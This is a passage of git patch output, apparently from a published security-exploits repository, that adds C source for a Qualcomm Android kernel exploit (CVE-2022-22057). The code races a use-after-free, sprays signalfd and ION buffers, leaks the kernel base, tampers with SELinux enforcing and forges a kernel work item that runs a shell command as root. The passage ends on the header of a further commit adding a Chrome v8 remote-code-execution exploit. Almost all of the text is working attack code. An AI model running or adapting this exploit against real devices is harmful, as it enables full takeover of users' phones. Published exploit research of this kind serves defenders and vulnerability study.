+  pthread_create(&thread1, NULL, destroy, NULL);
+  struct sched_param sched_par = {0};
+
+  if (pthread_setschedparam(thread1, SCHED_IDLE, &sched_par) != 0) {
+    err(1, "[-] set priority for trigger failed\n");
+  }
+
+  int pipe_fd[2];
+  pipe(pipe_fd);
+  
+  pthread_t rw_tid;
+  if (pthread_create(&rw_tid, NULL, read_pipe, &(pipe_fd[0])) != 0) {
+    err(1, "[-] pthread_create read");
+  }
+  pipe_write = pipe_fd[1];
+  struct sched_param sched_par2 = {0};
+
+  if (pthread_setschedparam(rw_tid, SCHED_NORMAL, &sched_par2) != 0) {
+    err(1, "[-] set priority for rw failed\n");
+  }
+
+  pthread_create(&thread2, NULL, timeline_wait, NULL);
+  sleep(5);
+  struct timeval wait_start;
+  char write_char;
+  write_char = 'a';
+  gettimeofday(&wait_start, NULL);
+  wait_start_sec = wait_start.tv_sec;
+  wait_start_usec = wait_start.tv_usec;
+
+  g_destroy_now = 1;
+  usleep(1000);
+  pthread_kill(thread2, SIGUSR1);
+  write(pipe_write, &write_char, 1);
+  migrate_to_cpu(poll_cpu);
+  while (cb_list == 0) {
+    cb_list = poll_list_addr(fence_start, CHAIN_SIZE, fence_kstart);
+  }
+  spray_with_intervals(SPRAY_INTERVAL, INTERVAL_COUNT, (1 << DESTROY_CPU), &mask2, &(sigfds2[0]), per_interval_spray);
+  printf("cb_list %lx temp %lx\n", cb_list, cb_list + STACK_OFFSET);
+
+  uint64_t mask1 = 0x52424242;
+  uint64_t offset = 0;
+  int spray_size = SIGFD1_SPRAY;
+
+  sleep(1);
+  int batch_size = BATCH_SIZE;
+  int batch_num = NB_REALLOC_THREADS/batch_size;
+  if (NB_REALLOC_THREADS % batch_size) batch_num++;
+  int index2 = -1;
+  for (int batch = 0; batch < batch_num; batch++) {
+    int sprayed = 0;
+    for (int sprayed_num = 0; sprayed_num < batch_size; sprayed_num++) {
+      migrate_to_cpu(SPRAY_CPU);
+      if (sprayed_num + batch * batch_size >= NB_REALLOC_THREADS) break;
+      cleanup(&(rta[sprayed_num + batch * batch_size]));
+      sprayed++;
+    }
+    spray_signalfd(&mask1, spray_size * sprayed, SPRAY_CPU, &(sigfds[offset]));
+    offset += spray_size * sprayed;
+    index2 = search_changed_mask(mask2, &(sigfds2[0]), SIGFD_SPRAY_NUM2, &new_mask);
+    if (index2 != -1) {
+      break;
+    }
+  }
+  if (index2 == -1) {
+    err(1, "Failed to replace sigfds2 mask.\n");
+  }
+  //Fail to replace free'd sendmsg object, try to spray more on other cpu
+  if (new_mask != mask1) {
+    int batch_size = SIGFD_SPRAY_OVERFLOW/(CPU_RANGE - 1);
+    for (int cpu = 0; cpu < CPU_RANGE; cpu++) {
+      if (cpu == SPRAY_CPU) continue;
+      spray_signalfd(&mask1, batch_size, cpu, &(sigfds[offset]));
+      index2 = search_changed_mask(mask2, &(sigfds2[0]), SIGFD_SPRAY_NUM2, &new_mask);
+      offset += batch_size;
+      if (new_mask == mask1) {
+        printf("Replaced sendmsg on cpu %d\n", cpu);
+        break;
+      }
+    }
+    if (new_mask != mask1) {
+      err(1, "failed to replace sendmsg object.\n");
+    }
+  }
+
+  int cpu_count = CPU_RANGE;
+  int cpu_id = (index2 % (cpu_count * per_interval_spray)) / per_interval_spray;
+
+  printf("cpu_id %d\n", cpu_id);
+  printf("interval number %lu\n", index2/(cpu_count * per_interval_spray));
+  uint64_t addr_mask = ~region_vaddr;
+  change_signalfd_mask(&addr_mask, sigfds2[index2]);
+  int index1 = search_changed_mask(mask1, &(sigfds[0]), sizeof(sigfds)/sizeof(int), &new_mask);
+  if (index1 == -1) {
+    err(1, "failed to replace sigfds mask.\n");
+  }
+  printf("thread number %d %d %d\n", index1/spray_size, index1 % spray_size, sigfds[index1]);
+  printf("thread batch number %d\n", assign_batch_num(index1/spray_size));
+
+  printf("new mask %lx %lx\n", new_mask, ~(new_mask));
+  
+  int ion_dma_fds[ION_DMA_SIZE] = {-1};
+  uint64_t ion_dma_regions[ION_DMA_SIZE] = {0};
+  uint64_t flags[ION_DMA_SIZE];
+  int found_dma[ION_DMA_SIZE] = {0};
+  int found_idx[SLAB_SIZE] = {0};
+  int off = 0;
+  printf("region_offset %lx\n", region_offset);
+  uint8_t* region_ptr = (uint8_t*)(ion_region + region_offset);
+  for (int i = 0; i < ION_DMA_SIZE; i++) {
+    flags[i] = 0x4141 + i;
+  }
+  sleep(1);
+  migrate_to_cpu(cpu_id);
+  close(sigfds2[index2]);
+  change_signalfd_mask(&addr_mask, sigfds[index1]);
+
+  int found = 0;
+  int spray_num = spray_ion_buffer(ion_fd, ION_DMA_SIZE, cpu_id, &(ion_dma_fds[0]), &(flags[0]));
+  printf("sprayed %d ion buffer\n", spray_num);
+  printf("start searching for buffer\n");
+  found = search_ion_buffer(region_ptr, SLAB_SIZE, &(flags[0]), &(found_dma[0]), &(found_idx[0]), ION_DMA_SIZE);
+  if (found != 0) {
+    printf("Found %d ion regions\n", found);
+  }
+
+  //Try other cpu
+  if (found == 0) {
+    for (int cpu = 0; cpu < CPU_RANGE; cpu++) {
+      if (cpu == cpu_id) continue;
+        spray_num = spray_ion_buffer(ion_fd, ION_DMA_SIZE, cpu_id, &(ion_dma_fds[0]), &(flags[0]));
+        printf("Retry start searching for buffer on cpu %d\n", cpu);
+        found = search_ion_buffer(region_ptr, SLAB_SIZE, &(flags[0]), &(found_dma[0]), &(found_idx[0]), ION_DMA_SIZE);
+        if (found != 0) {
+          printf("Found %d ion regions on cpu %d\n", found, cpu);
+          break;
+        }
+    }
+  }
+
+  if (found == 0) {
+    addr_mask = 0;
+    change_signalfd_mask(&addr_mask, sigfds[index1]);
+    err(1, "Failed to find ion buffer\n");
+  }
+
+  uint64_t table_vaddr = region_vaddr + region_offset + SLAB_SIZE * 128;
+  uint8_t* table_region = (uint8_t*)(region_ptr + SLAB_SIZE * 128);
+  uint64_t ion_heap = 0;
+  uint64_t enforcing_region = 0;
+
+  int ion_dma_fd = get_ion_dma_fd(&(found_dma[0]), &(ion_dma_fds[0]), 0, ION_DMA_SIZE);
+  struct ion_buffer* ion_buf = get_ion_buffer(&(found_idx[0]), region_ptr, 0, SLAB_SIZE);
+  uint64_t ion_heap_vaddr = (uint64_t)(ion_buf->heap);
+
+  uint64_t kernel_base = 0;
+  int skip = 0;
+  for (int i = 0; i < 3; i++) {
+    kernel_base = get_kernel_base(ion_dma_fd, ion_buf, table_vaddr, table_region, (uint64_t)(ion_buf->heap), &ion_heap);
+    if (kernel_base) break;
+    table_vaddr += 2 * 128;
+    table_region += 2 * 128;
+    skip++;
+    sleep(1);
+    ion_dma_fd = get_ion_dma_fd(&(found_dma[0]), &(ion_dma_fds[0]), skip, ION_DMA_SIZE);
+    if (ion_dma_fd == -1) break;
+    ion_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
+  }
+  if (!kernel_base) {
+    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+    err(1, "Failed to get kernel base\n");
+  }
+
+  skip++;
+  ion_dma_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
+  if (ion_dma_fd == -1) {
+    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+    err(1, "Failed to ion_dma_fd for enforcing\n");
+  }
+  ion_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
+
+  table_vaddr += 2 * 128;
+  table_region += 2 * 128;
+  skip++;
+
+  int enforced = 0;
+  for (int i = 0; i < 3; i++) {
+    enforced = set_enforcing(ion_dma_fd, ion_buf, table_vaddr, table_region, kernel_base, &enforcing_region);
+    table_vaddr += 2 * 128;
+    table_region += 2 * 128;
+    skip++;
+    if (enforced == 0) break;
+    munmap((void*)page_align(enforcing_region), 0x1000);
+    ion_dma_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
+    if (ion_dma_fd == -1) break;
+    ion_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
+  }
+  if (enforced == -1) {
+    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+    err(1, "Failed to set enforcing\n");
+  }
+
+  ion_dma_regions[0] = enforcing_region;
+  uint64_t kernel_shift = kernel_base - KERNEL_PBASE;
+  uint64_t wq_ptr_addr = KGSL_MEMQUEUE_OFF + KERNEL_VBASE + kernel_shift;
+
+  int wq_ptr_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
+  if (wq_ptr_fd == -1) {
+    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+    err(1, "Failed to find ion region for wq_ptr_fd\n");
+  }
+  struct ion_buffer* wq_ptr_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
+
+  table_vaddr += 2 * 128;
+  table_region += 2 * 128;
+  skip++;
+
+  uint64_t wq_addr = 0;
+  for (int i = 0; i < 3; i++) {
+    wq_addr = get_wq_addr(wq_ptr_fd, wq_ptr_buf, table_vaddr, table_region, wq_ptr_addr);
+    if (wq_addr != 0) {
+      break;
+    }
+    table_vaddr += 2 * 128;
+    table_region += 2 * 128;
+    skip++;
+    wq_ptr_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
+    if (wq_ptr_fd == -1) {
+      repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+      err(1, "Failed to find ion region for wq_ptr_fd\n");
+    }
+    wq_ptr_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
+  }
+
+  if (wq_addr == 0) {
+    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+    err(1, "Failed to find ion region for wq_ptr_fd\n");
+  }
+
+  int wq_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
+  if (wq_fd == -1) {
+    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+    err(1, "Failed to find ion region for wq_fd\n");
+  }
+  struct ion_buffer* wq_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
+
+  table_vaddr += 2 * 128;
+  table_region += 2 * 128;
+  skip++;
+
+  uint64_t pwq_addr = 0;
+  for (int i = 0; i < 3; i++) {  
+    pwq_addr = get_pwq_addr(wq_fd, wq_buf, table_vaddr, table_region, wq_addr);
+    if (pwq_addr != 0) break;
+    table_vaddr += 2 * 128;
+    table_region += 2 * 128;
+    skip++;
+    wq_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
+    if (wq_fd == -1) {
+      repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+      err(1, "Failed to find ion region for wq_fd\n");
+    }
+    wq_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
+  }
+
+  if (pwq_addr == 0) {
+    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+    err(1, "Failed to get pwq_addr\n");
+  }
+
+  int pwq_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
+  if (pwq_fd == -1) {
+    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+    err(1, "Failed to find ion region for pwq_fd\n");
+  }
+  struct ion_buffer* pwq_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
+  table_vaddr += 2 * 128;
+  table_region += 2 * 128;
+  skip++;
+
+  uint64_t pwq_region = 0;
+  uint64_t pool_addr = 0;
+  for (int i = 0; i < 3; i++) {
+    pool_addr = map_pwq(pwq_fd, pwq_buf, table_vaddr, table_region, pwq_addr, &pwq_region);
+    if (pool_addr != 0) break;
+    munmap((void*)page_align(pwq_region), 0x1000);
+    table_vaddr += 2 * 128;
+    table_region += 2 * 128;
+    skip++;
+    pwq_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
+    if (pwq_fd == -1) {
+      repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+      err(1, "Failed to find ion region for pwq_fd\n");
+    }
+    pwq_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
+  }
+  if (pool_addr == 0) {
+    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+    err(1, "Failed to map pwq_addr\n");
+  }
+
+  ion_dma_regions[1] = pwq_region;
+  int pool_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
+  if (pool_fd == -1) {
+    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+    err(1, "Failed to find ion region for pool_fd\n");
+  }
+  struct ion_buffer* pool_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
+  table_vaddr += 2 * 128;
+  table_region += 2 * 128;
+  skip++;
+  uint64_t pool_region = 0;
+  for (int i = 0; i < 3; i++) {
+    uint64_t worklist = map_pwq_pool(pool_fd, pool_buf, table_vaddr, table_region, pool_addr, &pool_region);
+    if (pool_region != 0) break;
+    table_vaddr += 2 * 128;
+    table_region += 2 * 128;
+    skip++;
+    pool_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
+    if (pool_fd == -1) {
+      repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+      err(1, "Failed to find ion region for pool_fd\n");
+    }
+    pool_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
+  }
+  if (pool_region == 0) {
+    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+    err(1, "Failed to map_pwq_pool\n");
+  }
+  ion_dma_regions[2] = pool_region;
+  table_vaddr += 2 * 128;
+  table_region += 2 * 128;
+  skip++;
+  
+  setup_sub_info(table_region, table_vaddr, kernel_shift, table_vaddr + 128, table_region + 128);
+  printf("queue work\n");
+  sleep(1);
+  migrate_to_cpu(0);
+ 
+  int queue_res = 0;
+  for (int i = 0; i < 3; i++) {
+    queue_res = queue_work((uint8_t*)pool_region, pool_addr, (uint8_t*)pwq_region, pwq_addr, table_region, table_vaddr, pool_addr + WORKLIST_OFF);
+    if (queue_res == 0) break;
+    printf("[-] Failed to run command, retry\n");
+    setup_sub_info(table_region, table_vaddr, kernel_shift, table_vaddr + 128, table_region + 128);
+    sleep(1);
+  }
+  if (queue_res == -1) {
+    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+    err(1, "failed to queue work\n");
+  }
+  printf("finished queue work\n");
+  repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
+  sleep(1);
+  close(ion_fd);
+  printf("finished spraying\n");
+
+  close_unused_fds(&(syncfds[0]), SYNC_FILE_NUM, -1);
+  printf("finished\n");
+
+}
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.c
new file mode 100644
index 0000000..92721d0
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.c
@@ -0,0 +1,307 @@
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/time.h>
+
+#include "work_queue_utils.h"
+#include "addr_utils.h"
+#include "ion_utils.h"
+#include "fake_obj_util.h"
+#include "cpu_utils.h"
+#include "kgsl_ioctl.h"
+
+//workqueue_struct::numa_pwq_tbl
+#define NUMA_PWQ_TBL_OFF 0x110
+//pool_workqueue::pool
+#define PWQ_POOL_OFF 0x0
+//pool_workqueue::refcnt
+#define REFCNT_OFF 0x18
+//pool_workqueue::work_color
+#define WORK_COLOR_OFF 0x10
+//pool_workqueue::nr_in_flight
+#define NR_IN_FLIGHT 0x1c
+//pool_workqueue::nr_active
+#define NR_ACTIVE 0x58
+//pool_workqueue::max_active
+#define MAX_ACTIVE 0x5c
+//work_struct::entry
+#define WORK_STRUCT_ENTRY 0x8
+
+#define WORK_STRUCT_COLOR_SHIFT 4ul
+
+#define CALL_USERMODE_OFF 0x16b5434ul
+
+//run_cmd.envp
+#define RUN_CMD_ENVP_OFF 0x2c8d158
+
+#define WORK_STRUCT_PENDING 1
+
+#define WORK_STRUCT_PWQ 4
+
+//Padding between compilers not reliable, so use hardcode offsets
+#define SUB_INFO_COMPLETE 0x30
+
+#define SUB_INFO_PATH 0x38
+
+#define SUB_INFO_ARGV 0x40
+
+#define SUB_INFO_ENVP 0x48
+
+#define SUB_INFO_FUNC 0x18
+
+#define SUB_INFO_WAIT 0x58
+
+#define SUB_INFO_RET 0x5c
+
+#define SUB_INFO_SIZE 128
+
+#define COMPLETION_LIST_OFF (0x8 + 0x8)
+
+struct work_struct {
+  uint64_t data;
+  struct list_head entry;
+  uint64_t func;
+};
+
+struct subprocess_info {
+	struct work_struct work;
+	struct completion *complete;
+	uint64_t path;
+	uint64_t argv;
+	uint64_t envp;
+	void *file;
+	int wait;
+	int retval;
+	int pid;
+	void* init;
+	void* cleanup;
+	void *data;
+};
+
+void setup_sub_info(uint8_t* sub_info, uint64_t sub_info_vaddr, uint64_t kernel_shift, uint64_t arg_vaddr, uint8_t* arg_region) {
+  memset(sub_info, 0, SUB_INFO_SIZE);
+  const char* path = "/system/bin/sh";
+
+  const char* arg1 = "-c";
+  const char* cmd = "/system/bin/id > /data/local/tmp/id.txt";
+  memset(arg_region, 0, 0x280);
+  memcpy(arg_region + 0x80, path, strlen(path));
+
+  memcpy(arg_region + 0x100, arg1, strlen(arg1));
+  memcpy(arg_region + 0x180, cmd, strlen(cmd));
+  uint64_t* argv = (uint64_t*)arg_region;
+
+  argv[0] = arg_vaddr + 0x80;
+  argv[1] = arg_vaddr + 0x100;
+  argv[2] = arg_vaddr + 0x180;
+  argv[3] = 0;
+
+  *((uint64_t*)(sub_info + SUB_INFO_FUNC)) = CALL_USERMODE_OFF + KERNEL_VBASE + kernel_shift;
+
+  *((uint64_t*)(sub_info + SUB_INFO_PATH)) = arg_vaddr + 0x80;
+  *((uint64_t*)(sub_info + SUB_INFO_ARGV)) = arg_vaddr;
+
+  *((uint64_t*)(sub_info + SUB_INFO_ENVP)) = RUN_CMD_ENVP_OFF + KERNEL_VBASE + kernel_shift;
+
+  uint64_t complete_addr = arg_vaddr + 0x200;
+  *((uint64_t*)(sub_info + SUB_INFO_COMPLETE)) = complete_addr;
+  uint8_t* completion = arg_region + 0x200;
+  *((uint64_t*)(completion + COMPLETION_LIST_OFF)) = complete_addr + COMPLETION_LIST_OFF;
+  *((uint64_t*)(completion + COMPLETION_LIST_OFF + 0x8)) = complete_addr + COMPLETION_LIST_OFF;
+
+  *((uint32_t*)(sub_info + SUB_INFO_WAIT)) = 0;
+  *((uint32_t*)(sub_info + SUB_INFO_RET)) = 0xfe;
+
+}
+
+static inline int work_color_to_flags(int color) {
+  return color << WORK_STRUCT_COLOR_SHIFT;
+}
+
+uint8_t* map_addr_to_ion(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t vaddr) {
+  uint64_t phys_addr = virt_to_phys(vaddr);
+  uint64_t offset = phys_addr % 0x1000;
+  patch_ion_buffer(buffer, table_vaddr, table_region, phys_addr, 0x1000);
+  uint64_t len = 0x1000;
+  void* ion_region = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_SHARED, ion_dma_fd, 0);
+  if (ion_region == MAP_FAILED) {
+    return MAP_FAILED;
+  }
+  return (uint8_t*)(ion_region + offset);
+}
+
+uint64_t get_wq_addr(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t wq_ptr_addr) {
+  printf("wq_ptr_addr: %lx\n", wq_ptr_addr);
+  uint8_t* region = map_addr_to_ion(ion_dma_fd, buffer, table_vaddr, table_region, wq_ptr_addr);
+  if (region == MAP_FAILED) {
+    printf("get_wq_addr failed\n");
+    return 0;
+  }
+  uint64_t* addr_ptr = (uint64_t*)region;
+  uint64_t wq_addr = *addr_ptr;
+  munmap((void*)page_align((uint64_t)region), 0x1000);
+  return wq_addr;
+}
+
+uint64_t get_pwq_addr(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t wq_addr) {
+  printf("wq_addr: %lx\n", wq_addr);
+  uint8_t* region = map_addr_to_ion(ion_dma_fd, buffer, table_vaddr, table_region, wq_addr);
+  if (region == MAP_FAILED) {
+    printf("get_pwq_addr failed\n");
+    return 0;
+  }
+  uint64_t* addr_ptr = (uint64_t*)(region + NUMA_PWQ_TBL_OFF);
+  uint64_t pwq_addr = *addr_ptr;
+  printf("pwq_addr %lx\n", pwq_addr);
+  munmap((void*)page_align((uint64_t)region), 0x1000);
+  return pwq_addr;
+}
+
+uint64_t map_pwq(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t pwq_addr, uint64_t* pwq_region) {
+  uint8_t* region = map_addr_to_ion(ion_dma_fd, buffer, table_vaddr, table_region, pwq_addr);
+  if (region == MAP_FAILED) {
+    printf("map_pwq failed\n");
+    return 0;
+  }
+  *pwq_region = (uint64_t)region;
+  uint64_t* addr_ptr = (uint64_t*)(region + PWQ_POOL_OFF);
+  uint64_t pool_addr = *addr_ptr;
+  printf("pool_addr %lx\n", pool_addr);
+  return pool_addr;
+}
+
+uint64_t map_pwq_pool(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t pool_addr, uint64_t* pool_region) {
+  uint8_t* region = map_addr_to_ion(ion_dma_fd, buffer, table_vaddr, table_region, pool_addr);
+  if (region == MAP_FAILED) {
+    printf("map_pwq_pool failed\n");
+    return 0;
+  }
+  *pool_region = (uint64_t)region;
+  uint64_t* worklist = (uint64_t*)(region + WORKLIST_OFF);
+  printf("worklist %lx %lx\n", worklist[0], worklist[1]);
+  return *worklist;
+}
+
+__attribute__((noinline)) int insert_work(uint32_t* nr_active, uint32_t* refcnt, uint32_t* nr_in_flight, volatile uint64_t* worklist, uint64_t work_entry_addr, uint64_t worklist_addr) {
+  uint32_t nr_act = *nr_active;
+  uint32_t inflight = *nr_in_flight;
+  uint32_t refcount = *refcnt;
+  *refcnt = refcount + 1;
+  *nr_active = nr_act + 1;
+  *nr_in_flight = inflight + 1;
+  if (worklist_addr == *worklist) {
+    worklist[0] = work_entry_addr;
+    worklist[1] = work_entry_addr;
+    return 0;
+  }
+  *refcnt = refcount;
+  *nr_active = nr_act;
+  *nr_in_flight = inflight;
+  return -1;
+}
+
+void spin_lock(volatile uint32_t* lock) {
+  while (*lock);
+  *lock = 1;
+  return;
+}
+
+void wake_up_queue() {
+  int kgsl_fd = open("/dev/kgsl-3d0", O_RDONLY);
+  struct kgsl_timeline_val param = {0};
+  ioctl(kgsl_fd, IOCTL_KGSL_TIMELINE_QUERY, &param);
+  close(kgsl_fd);
+}
+
+int queue_work(uint8_t* pool_region, uint64_t pool_addr, uint8_t* pwq_region, uint64_t pwq_addr, uint8_t* sub_info, uint64_t sub_info_vaddr, uint64_t worklist_addr) {
+  uint32_t* max_active = (uint32_t*)(pwq_region + MAX_ACTIVE);
+  uint32_t* nr_active = (uint32_t*)(pwq_region + NR_ACTIVE);
+  uint32_t* refcnt = (uint32_t*)(pwq_region + REFCNT_OFF);
+  uint32_t* work_color_ptr = (uint32_t*)(pwq_region + WORK_COLOR_OFF);
+  uint32_t* nr_in_flight = (uint32_t*)(pwq_region + NR_IN_FLIGHT);
+  volatile uint64_t* worklist = (uint64_t*)(pool_region + WORKLIST_OFF);
+  uint64_t work_entry_addr = sub_info_vaddr + WORK_STRUCT_ENTRY;
+  uint32_t* lock = (uint32_t*)(pool_region);
+
+  migrate_to_cpu(0);
+  struct work_struct* work = (struct work_struct*)sub_info;
+  work->entry.next = worklist_addr;
+  work->entry.prev = worklist_addr;
+  int refcount = *refcnt;
+  if (refcount == 0) {
+    printf("memory pool has refcount 0\n");
+    return -1;
+  }
+  printf("max_active %u nr_active %u\n", *max_active, *nr_active);
+  uint32_t work_color = *work_color_ptr;
+  uint32_t work_flags = work_color_to_flags(work_color);
+  work->data = (WORK_STRUCT_PENDING | WORK_STRUCT_PWQ | work_flags | pwq_addr);
+  printf("queuing work, waiting to aquire spin lock\n");
+  int ret = 0;
+  for (int i = 0; i < 1000; i++) {
+    spin_lock(lock);
+    ret = insert_work(nr_active, refcnt, nr_in_flight + work_color, worklist, work_entry_addr, worklist_addr);
+    if (ret == -1) {
+      *lock = 0;
+    } else {
+      break;
+    }
+    usleep(100);
+  }
+  if (ret == 0) {
+    *lock = 0;
+  } else {
+    return -1;
+  }
+  printf("work_queued\n");
+  sleep(1);
+  if (*worklist == work_entry_addr) {
+    wake_up_queue();
+  }
+
+  migrate_to_cpu(1);
+  struct timeval start, end;
+  long micros_used, secs_used;
+  int try_wake_up = 0;
+
+  gettimeofday(&start, NULL);
+
+  while(*worklist == work_entry_addr) {
+    gettimeofday(&end, NULL);
+    secs_used=(end.tv_sec - start.tv_sec);
+    if (secs_used > 2) {
+      if (try_wake_up < 3) {
+        wake_up_queue();
+        try_wake_up++;
+        gettimeofday(&start, NULL);
+      } else {
+        printf("[-] Work queue may have stalled, try pressing power button to wake up\n");
+        gettimeofday(&start, NULL);
+      }
+    }
+    usleep(1000);
+  }
+  printf("work processed\n");
+  printf("complete %lx\n", *((uint64_t*)(sub_info + SUB_INFO_COMPLETE)));
+  uint32_t cmd_ret = *((uint32_t*)(sub_info + SUB_INFO_RET));
+  printf("ret %d\n", cmd_ret);
+  printf("nr_active %u\n", *nr_active);
+  printf("worklist %lx\n", worklist[0]);
+  printf("work next %lx\n", work->entry.next);
+  if (*((uint32_t*)(sub_info + SUB_INFO_RET)) == 0) {
+    printf("[+] successfully run command and added id.txt in /data/local/tmp\n");
+  } else {
+    printf("[-] Failed to run command, error code %d\n", cmd_ret);
+    return -1;
+  }
+  sleep(1);
+  
+  return 0;
+}
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.h
new file mode 100644
index 0000000..d901fb2
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.h
@@ -0,0 +1,26 @@
+#ifndef WORK_QUEUE_UTILS
+#define WORK_QUEUE_UTILS
+
+#include "fake_obj_util.h"
+
+#define SYSTEM_UNBOUND_WQ_OFF 0x2b8f7f8ul
+
+#define KGSL_DRIVER_OFF 0x2d0a000
+
+#define KGSL_MEMQUEUE_OFF (KGSL_DRIVER_OFF + 0x518)
+
+//worker_pool::worklist
+#define WORKLIST_OFF 0x20
+
+uint64_t get_wq_addr(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t wq_ptr_addr);
+
+uint64_t get_pwq_addr(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t wq_addr);
+
+uint64_t map_pwq(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t pwq_addr, uint64_t* pwq_region);
+
+uint64_t map_pwq_pool(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t pool_addr, uint64_t* pool_region);
+
+int queue_work(uint8_t* pool_region, uint64_t pool_addr, uint8_t* pwq_region, uint64_t pwq_addr, uint8_t* sub_info, uint64_t sub_info_vaddr, uint64_t worklist_addr);
+
+void setup_sub_info(uint8_t* sub_info, uint64_t sub_info_vaddr, uint64_t kernel_shift, uint64_t arg_vaddr, uint8_t* arg_region);
+#endif

From a2d2f8fd28ce9b099c0176a70026384efbd9ac9c Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Wed, 29 Jun 2022 09:01:45 +0100
Subject: [PATCH 090/104] Initial commit

---
 .../Chrome/v8/CVE-2022-1134/README.md         |  29 +++
 .../Chrome/v8/CVE-2022-1134/superic_rce.html  | 232 ++++++++++++++++++
 2 files changed, 261 insertions(+)
 create mode 100644 SecurityExploits/Chrome/v8/CVE-2022-1134/README.md
 create mode 100644 SecurityExploits/Chrome/v8/CVE-2022-1134/superic_rce.html

diff --git a/SecurityExploits/Chrome/v8/CVE-2022-1134/README.md b/SecurityExploits/Chrome/v8/CVE-2022-1134/README.md
new file mode 100644
index 0000000..bf4cd9d
--- /dev/null
